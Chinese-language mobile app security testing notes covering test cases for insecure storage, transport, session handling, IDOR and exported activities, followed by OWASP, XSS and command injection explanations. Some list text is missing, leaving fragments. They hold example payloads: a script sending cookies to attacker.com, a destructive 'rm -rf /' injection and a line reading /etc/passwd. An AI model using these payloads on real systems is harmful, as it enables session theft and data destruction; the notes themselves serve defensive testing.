存储安全
传输安全
隐私合规
' OR 1=1--)测试接口响应。adb shell am start -n com.example/.DebugActivity)。场景
用户登录后,应用将密码明文存储在本地数据库的users表中。
测试用例
标题:验证用户密码是否加密存储
步骤:
adb shell 进入设备,找到应用数据目录:
adb shell "run-as com.example.app ls /data/data/com.example.app/databases"
adb pull /data/data/com.example.app/databases/user.db
user.db,检查users表中的密码字段是否为明文。预期结果:密码字段应为哈希值(如SHA-256)或加密后的密文。
工具:ADB、DB Browser for SQLite
风险等级:高危(明文存储可被恶意应用直接窃取)
场景
应用在登录时使用HTTP协议传输用户凭证,未启用HTTPS。
测试用例
https://,若为http://,尝试修改请求内容(如密码字段)并重放。场景
应用允许用户设置“123456”等弱密码。
测试用例
123456(纯数字)password(常见弱密码)abc(长度不足)场景
用户注销后,应用未使Token失效,导致会话劫持。
测试用例
Authorization: Bearer xxxx)。GET /api/user/profile)。401 Unauthorized。场景
应用未启用代码混淆,关键算法(如加密逻辑)在反编译后暴露。
测试用例
apktool 解包APK文件:
apktool d app-release.apk -o output_dir
com.example.app.util.CryptoUtils类。encryptPassword())是否以明文逻辑显示(如直接调用AES密钥)。场景
通过修改用户ID参数,普通用户可访问其他用户的数据。
测试用例
GET /api/users/123/profile获取自身数据。456(其他用户)。403 Forbidden,禁止非授权访问。场景
应用的调试Activity(如DebugActivity)被导出,无需权限即可启动。
测试用例
dz> run app.package.attacksurface com.example.app
adb shell am start -n com.example.app/.DebugActivity
android:exported="false"。场景
应用在调试日志中打印用户手机号或Token。
测试用例
token、phone、password。token=***)。场景
应用使用含CVE漏洞的旧版本OkHttp(如CVE-2023-3635)。
CVE(Common Vulnerabilities and Exposures)公共漏洞和暴露
测试用例
dependency-check --project MyApp --scan ./app/libs
OWASP(Open Worldwide Application Security Project,开放全球应用安全项目)是一个非营利性国际组织,专注于研究和改进应用软件安全。它的核心目标是帮助开发者、测试人员和企业构建和维护安全的应用程序,通过公开分享知识、工具和最佳实践来降低安全风险。
1.OWASP MASTG(Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)

SharedPreferences(Android) 和 NSUserDefaults(iOS) 是移动应用开发中用于存储轻量级键值对数据(Key-Value)的本地存储机制。它们主要用于保存应用的简单配置、用户偏好设置或临时状态数据,但需注意其安全性问题。
测试场景
adb 导出 /data/data/<包名>/shared_prefs/ 下的 XML 文件,搜索敏感字段。.plist 文件,或使用 NSUserDefaults 读取工具(如 iExplorer)。Jetpack Security),检查密钥管理是否安全(如是否硬编码密钥)。SharedPreferences,Root 设备后可直接窃取 Token 进行账户劫持。NSUserDefaults 存储临时密码,越狱设备读取 .plist 文件后绕过身份验证。跨站脚本攻击,Cross-Site Scripting
定义
攻击者向网页中注入恶意脚本(如 JavaScript),当其他用户访问该页面时,脚本在其浏览器执行,窃取数据或劫持会话。
原理
<script> 标签或事件属性(如 onerror)。<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
窃取用户 Cookie。https://example.com/search?q=<script>alert(1)</script>
页面直接显示 q 参数内容,触发弹窗。document.getElementById("output").innerHTML = location.hash.slice(1);
访问 https://example.com#<img src=x onerror=alert(1)> 触发攻击。定义
攻击者在应用程序调用系统命令时,注入恶意参数,导致执行非预期的操作系统命令(如删除文件、启动服务)。
原理
;、&&、|)。8.8.8.8; rm -rf /,触发命令:
ping 8.8.8.8; rm -rf / # 执行 ping 后删除服务器文件
file.jpg; cat /etc/passwd > output.txt,读取系统密码文件。